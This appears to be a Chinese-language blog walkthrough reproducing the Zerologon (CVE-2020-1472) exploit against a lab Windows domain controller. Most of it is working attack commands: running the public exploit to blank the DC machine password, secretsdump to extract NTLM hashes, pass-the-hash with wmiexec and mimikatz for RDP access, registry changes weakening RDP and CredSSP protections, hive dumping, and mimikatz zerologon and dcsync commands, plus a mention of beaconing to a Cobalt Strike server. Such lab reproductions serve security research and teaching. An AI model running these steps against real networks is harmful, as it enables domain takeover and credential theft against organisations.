简介
2020年8月11号,微软修复了Netlogon 特权提升漏洞,2020年9月11日,安全研究员Secura发布了公告,阐明了漏洞细节,之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。
漏洞原理
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。
具体细节可查看https://www.cynet.com/zerologon/
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
利用过程
复现环境
目标靶机:
域控:Winserver2012 R2(x64)
IP:10.211.55.12
hostname:sever2012
域:tide.rog
攻击机:mac os
使用的工具:
1、CVE-2020-1472 攻击exp
https://github.com/VoidSec/CVE-2020-1472
2、impacket网络协议工具包
https://github.com/SecureAuthCorp/impacket/
运行exp
首先运行exp脚本,将AD域控的机器账户server2012的密码置换成空:
命令查看域控计算机主机名和ip
net group "Domain Controllers" /domain
ping server2012.tide.org
-n指定域控计算机主机名
-t指定域控ip
运行exp,确定把域控机器账户密码置换成空
python3 cve-2020-1472-exploit.py -n server2012 -t 10.211.55.12
注意:置空密码可能会导致脱域,谨慎使用。
获取hash
置空密码后接下来我们利用impacket网络协议工具包的secretsdump.py脚本根据DRS协议来获取相关的HASH信息。
~impacket/examples/
python3 secretsdump.py tide/server2012\$@10.211.55.12 -no-pass
server2012的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码。
还得到的域管administrator账户的hash为6ec77abf4e1d5e5027db29d144bd8673。
获取到hash之后,可以尝试进行解密,如果解密成功可以直接连接3389获得域控权限。
ntml hash解密地址:https://www.objectif-securite.ch/en/ophcrack
如果密码复杂度高会解密失败,可以使用hash横向的工具执行系统cmd命令。
常用的工具有: wmiexec,psexec,atexec,smbexec等
wmiexec执行命令
使用wmiexec执行cmd,输入域控管理员对应hash,主机ip
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6ec77abf4e1d5e5027db29d144bd8673 Administrator@10.211.55.12
mimikatz登陆rdp
抓取hash无法破解的情况下,可以尝试使用hash登陆远程桌面,需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启。
有两种开启方法第一种为打补丁,第二种为手动修改注册表。
修改注册表开启:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否开启:
回显DisableRestrictedAdmin REG_DWORD 0x0 为开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
使用支持restrictedadmin登录的攻击主机
mstsc.exe /restrictedadmin
如下为不支持restrictedadmin登录
弹出远程连接表示支持restrictedadmin登录
管理员运行mimikatz,执行命令
/user为登录的用户名 /domian为目标地址 /ntml为账户ntml值
privilege::debug
sekurlsa::pth /user:administrator /domain:10.211.55.12 /ntlm:6ec77abf4e1d5e5027db29d144bd8673 "/run:mstsc.exe /restrictedadmin"
更改计算机地址为目标地址,点击连接。
登录成功。
坑点
1、 ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations
请检查mimiket及对应操作系统版本
2、 error kuh1_m_sekurlsa_acquireLSA:logon list
请下载最新版mimiketz
3、遇到CredSSP加密数据库错误是大概是因为win10家庭版,一条命令直接解决。
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
还原机器账户hash
如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去。
首先获取原hash,在cmd中执行。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
会在目标c盘根目录生成sam.save、system.save、security.save文件,然后下载到本地。
在mac上执行,没有下载文件到本地,原因未知。
可以使用其它操作系统执行,也可以使用powershell命令先上线到cs服务器,然后下载。
下载文件到本地后,执行如下命令,利用secretsdump.py解析保存在本地的ntml hash
~impacket/examples
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
箭头指向的位置即为之前使用的hash
9774cb9c026d03f8157bfdf6a9352342
使用reinstall_original_pw.py对hash进行恢复
python3 reinstall_original_pw.py server2012 10.211.55.12 9774cb9c026d03f8157bfdf6a9352342
使用空密码再次尝试查看目标hash信息,失败,说明目标hash已成功还原。
python3 secretsdump.py tide/server2012\$@10.211.55.12 -no-pass
mimikatz 利用
mimikatz 20200918后版本支持通过zerologon漏洞攻击域控服务器。
https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200918-fix
1、运行poc查看是否存在漏洞
lsadump::zerologon /target:10.211.55.12 /account:server2012$
2、运行exp把域控主机hash置为空
lsadump::zerologon /target:10.211.55.12 /account:server2012$ /exploit
3、查看指定用户的hash
lsadump::dcsync /domain:tide.org /dc:Server2012.tide.org /user:administrator /authuser:server2012$ /authdomain:tide /authpassword:"" /authntlm
4、防止域环境出现问题,恢复密码
lsadump::postzerologon /target:10.211.55.12 /account:server2012$
补丁修复
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
参考链接
https://xz.aliyun.com/t/8367
https://my.oschina.net/Umbrel1a/blog/4589778
https://www.cnblogs.com/potatsoSec/p/13710947.html
网友评论